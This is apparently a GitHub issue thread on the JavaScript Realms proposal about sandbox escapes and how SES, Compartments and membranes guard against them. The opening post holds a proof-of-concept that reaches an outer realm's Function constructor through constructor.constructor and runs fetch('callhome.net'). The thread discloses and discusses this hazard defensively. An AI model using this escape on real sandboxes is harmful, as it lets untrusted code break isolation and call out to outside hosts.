Escaping the sandbox

[nyariv]

Are the constructors of an externally provided object also sandboxed?

Meaning, is the following code possible:

function innocentHelperFunction () {
}

const r = new Realm();
r.globalThis.innocentHelperFunction = innocentHelperFunction;
delete r.globalThis.fetch

const code = `
const internal = [].constructor.constructor;
for (let g in globalThis) {
  const external = globalThis[g].constructor.constructor ;
  if (external !== internal) {
     // external is Function from parent window attained through innocentHelperFunction global
     external(`fetch('callhome.net')`)();
  }
}
`;
r.globalThis.eval(code);

The above code searches for any objects/functions that were provided externally to the realm and attains the Function used to construct them, and executes its own arbitrary code in the external scope. Notice the "sandboxed" code does not directly reference any global objects other than globalThis.

[leobalter]

Hi @nyariv!

There is no extra magic in this proposal. This API only exposes realms as already described in ECMAScript.

Function will operate the same way it does today through the CreateDynamicFunction abstract and subject to host policies such as unsafe-eval's CSP.

[nyariv]

I see. Thanks @leobalter

[caridy]

@nyariv to add one more note here. This hazard is real, but it is the same hazard that you have in node's VM module, and iframes. There are mechanism to solve this in a generic way, e.g.: a near membrane (which btw, we use very effectively).

[nyariv]

Right, the fact you can pass objects directly to the realm seems like an api that is unsafe to use. If it was possible to add api that pass the object through a function that adds to the realm global object, then at least that native api could be hardened and extended in the future.

I personally look forward to realms being released, was just hoping it could be made safe by default.

[caridy]

@nyariv the ambiguity of such default behavior is the problem, is it a structural cloning? or is it still bound to the original value for dynamic interactions? or is it a membrane? etc. Because we don't know, and not everyone needs such thing, it is better to try to attack that with a different proposal that can work fine with realms, or just leave it to the user-land.

[nyariv]

Thanks @caridy for addressing my concern. You are right, there is no one default that can be assumed correct and each has its own tradeoffs, but at least some warning should be given to not use realms for sandboxing without an appropriate membrane library, and one that can be recommended so that developers will not have homebrew their own security solution. I had been looking for something like realms for sandboxing in the browser and my initial assumption was that it would solve my need, but I had to closely inspect the spec to figure out there is a loop hole.

[erights]

Hi @nyariv , you should checkout https://github.com/Agoric/SES-shim , which implements the SES and Compartment proposals.

Attn @kriskowal

[nyariv]

Thanks @erights that is what I had been looking for. Very nice! I assume it solves the problem in this ticket?

[erights]

Yes! Keep in mind that SES-shim all operates in one realm, the realm it started in. There are no cross-realm issues.

I just read the first message of this ticket and we do not have this vulnerability. After lockdown() is called, the original unsafe eval function, Function constructor, and all the other function constructors (Generator, AsyncFunction, AsyncGenerator) are no longer accessible. They have all be replaced with safe replacements. For the Function constructor itself:

Each compartment has its own Function constructor that evaluates code within the scope of that compartment's globals.

All these Function constructors share the same Function.prototype, so func instanceof Function works for all functions and all Function constructors.

Function.prototype.constructor is an inert Function constructor whose behavior is only to throw. Thus,

[].constructor is the Array constructor as you'd expect.

[].constructor.constructor same as Array.constructor same as Function.prototype.constructor, which only throws when called.

I find it gratifying to answer this issue because we designed with that threat in mind --- so that property navigation from normal objects would not lead to working evaluators. @jfparadis came up with the idea that Function.prototype.constructor should be an inert function that only throws. My earlier design still had it as a working Function constructor restricted to a frozen powerless global scope. That was technically ocap safe. But it enables bad data fed to good programs to lead to surprising evaluation, which makes security reviews much less effective --- insight due to @mikesamuel .

[nyariv]

@erights interesting. Would this protection handle cases where a library might expose Function through some regular property/method other than constructor?

I have written a library that tries to solve what you are trying with Compartments, it has minimal api and makes some assumptions on how things should be protected. It accepts a map of whitelisted primordials and custom prototypes and their allowed methods (some stuff in Object for example gives potentially dangerous abilities) and checks the entire prototype chain of a property/method call to know if it is in the whitelist or not.

https://github.com/nyariv/SandboxJS

It is possible to provide multiple scopes to evaluated code, kind of what you have done with endowments but just an array of that, and if the code declares a variable it adds it to top level scope object, basically recreating es function scopes behavior, but that are controlled by the host.

Another feature it has is it allows to subscribe to any property/method access on any object so that the host can either audit the code (especially if it is obfuscated) or allow the creation of frameworks that need to detect state change in evaluated code.

I have used this library in a POC ui framework and these features are extremely useful for doing something like it. I would love to discuss more and maybe contribute to Compartments proposal.

Would features like these be something that aligns with Compartment proposal's goals?

[leobalter]

I reopened the issue as the discussion is active here. I understand there isn't any action to take for the current proposal but perhaps this discussion becomes even more interesting.

[kriskowal]

@erights interesting. Would this protection handle cases where a library might expose Function through some regular property/method other than constructor?

It’s certainly possible to pass capabilities, including a compartment’s own Function constructor, into another compartment, for example as an endowment on the properties of globalThis, but also by introduction in a method argument. The Compartment API does not seek to provably prevent capabilities from being unintentionally passed around, since that would likely limit intentional introduction. A Compartment after Lockdown simply has no capabilities as a baseline.

https://github.com/nyariv/SandboxJS

There are indeed some obvious superficial similarities to what we’re doing with Compartment in the SES-shim! https://github.com/agoric/ses-shim

Another feature it has is it allows to subscribe to any property/method access on any object so that the host can either audit the code (especially if it is obfuscated) or allow the creation of frameworks that need to detect state change in evaluated code.
Would features like these be something that aligns with Compartment proposal's goals?

If I understand this correctly, your ends might be achievable with a Membrane around a Compartment. The membrane would be able to observe all properties that cross into or out of the compartment.

[nyariv]

If I understand this correctly, your ends might be achievable with a Membrane around a Compartment. The membrane would be able to observe all properties that cross into or out of the compartment.

This library was created before I was aware of realms/compartments proposals and tried to solve the problem of prototype pollution, so seeing what the untrusted code tried to access beyond what was provided to scope externally was needed and could not be achieved by passing in membranes. This proposal in some way solves part of it since it does not matter if a compartment pollutes its own prototypes, but introduces another issue such that one compartment could pollute the prototypes of another (if I understood correctly), and I think my sandbox lib will have to find a way to prevent that, now Function === Function is not always true when obtaining it in other ways, so my reference based whitelist system will have to be revisited.

The scopes related feature could be worked around with membranes in someway, but I tried stick to es based function scopes behavior through its entire implementation so that it behaves exactly the same as if running the code inside layers of functions that I can control.

The subscriptions to state that is only passed in and out can be achieved with membranes, yes.

[kriskowal]

This proposal in some way solves part of it since it does not matter if a compartment pollutes its own prototypes, but introduces another issue such that one compartment could pollute the prototypes of another (if I understood correctly), and I think my sandbox lib will have to find a way to prevent that, now Function === Function is not always true when obtaining it in other ways, so my reference based whitelist system will have to be revisited.

Actually, in combination with Lockdown, every Compartment has frozen primordials. Although compartment.globalThis.Function !== otherCompartment.globalThis.Function, they do have the same frozen prototype compartment.globalThis.Function.prototype === otherCompartment.globalThis.Function.prototype, so they do not have the ability to pollute their own prototypes. instanceof is true for objects of the same type from different compartments. Although the constructors are not identical, the prototypes, and the prototype constructors are, even between the realm’s intrinsic compartment and all others. The shared constructors on the shared prototypes are powerless place-holders. We expect very little code, if any, will break because of this difference.

[nyariv]

OK that's good news. In my case it does break functionality, I cannot use instanceof because I need to detect exact prototype and it's methods and cannot rely on simply matching any child in the prototype hierarchy, because more than one prototype can implement the same method, so I relied on constructor comparison and manually traversing the prototype chain, but I can change it to prototype comparison. So there is a solution, but it did break something.

But I do think that deleting/locking globals is not enough, many times a global is needed but has specific methods that should be prevented access too. Object is a good example, it has some useful methods like hasOwnProperty, but defining getters and setters might be allowing too much power to something basic as passed in state. I know it can be prevented with a membrane, but using membranes is now needed for everything.

[nyariv]

I just want to add that prototype whitelisting also allowed my ui framework to handle html elements securely, I may need the .value property of an input, but I most definitely do not want to let the same js to have access to .innerHTML. In the same vein I may want to allow access to document.querySelector() but not document.write(). It's possible this way to give immutable DOM access. Also whitelisting (as opposed to blacklisting) protects me from future ecmascript/w3c updates that may introduce high privilege api.

[kriskowal]

Prototype whitelisting is indeed the only way to go. I’ve also learned that SES Lockdown + Compartment is also quite weary of “undeniable intrinsics”, which is the set of prototypes that can be accessed through syntax, like [].__proto__ and (async () => {}).__proto__ that cannot be discovered and reached through the transitive properties of globalThis. For this reason, any security guarantees of such tools is limited to a maximum version of JavaScript, beyond which there might be new undeniable intrinsics. That is, until the language is obliged to implement Lockdown!

[nyariv]

There is a way to detect access to any property/method even if not provided under globalThis. You need to create your own evaluation mechanism, using acorn or a similar library, and pass all property/method calls through a validator, this way you can implement prototype whitelisting. This is what my sandbox lib does. It is not widely used nor battle tested but I think conceptually it can prove itself. This is what I hope Compartment proposal would consider implementing.

[caridy]

@nyariv another option here is what we have been doing around near-membranes, that works very well if you want multi-realms and still have integrity protection for intrinsics of the outer realm. And it is a 4k gzipped library for browsers, and 2k for node:

https://github.com/caridy/sandboxed-javascript-environment

[nyariv]

@caridy i am trying to wrap my head around that library, didn't quite understand yet how it is possible to replace an intrinsic that is not accessed through globalThis, I'll take a closer look.

Regarding file size, I also quickly realized acorn is 30kb gzipped just as a parser so i tried to create my own js parsing solution and wanted to see how far i can go with it. I managed to create something that parses the majority of ES, barring ES classes, object/array destructuring and some of the newer ES features. It does not manage to compile something like lodash yet, it is still a WIP and currently requires every statement to end with ;, but it passes all of alpine.js's tests when you replace the underlying membrane based Function js interpreter with my sandbox. I managed to do this with less than 5kb for the parser, and 10kb total with the execution component. The nice thing with that is it allowed me to solve multiple problems that UI frameworks normally face, such as change detection, and did not need to re-implement alot of things within the framework I worked on, so my POC ui framework is currently just 18kb (gzipped) including the sandbox code, it resembles vue.js in many ways, and vue is 28kb. If something like my sandbox was part of ES then my framework would be just 8kb (at it's current state). I did not try to make that framework small and it does include many additional features not found in vue that are centered around security.

Having said that, i realize that ES is updated every year and my sandbox code could only grow with each update cycle.

[leobalter]

I believe there isn't much else to do here due to the current Callable Boundary. There is a new discussion championed by @ljharb to get a new copy of clean intrinsics that might address some of the goals here, I guess.

Thanks!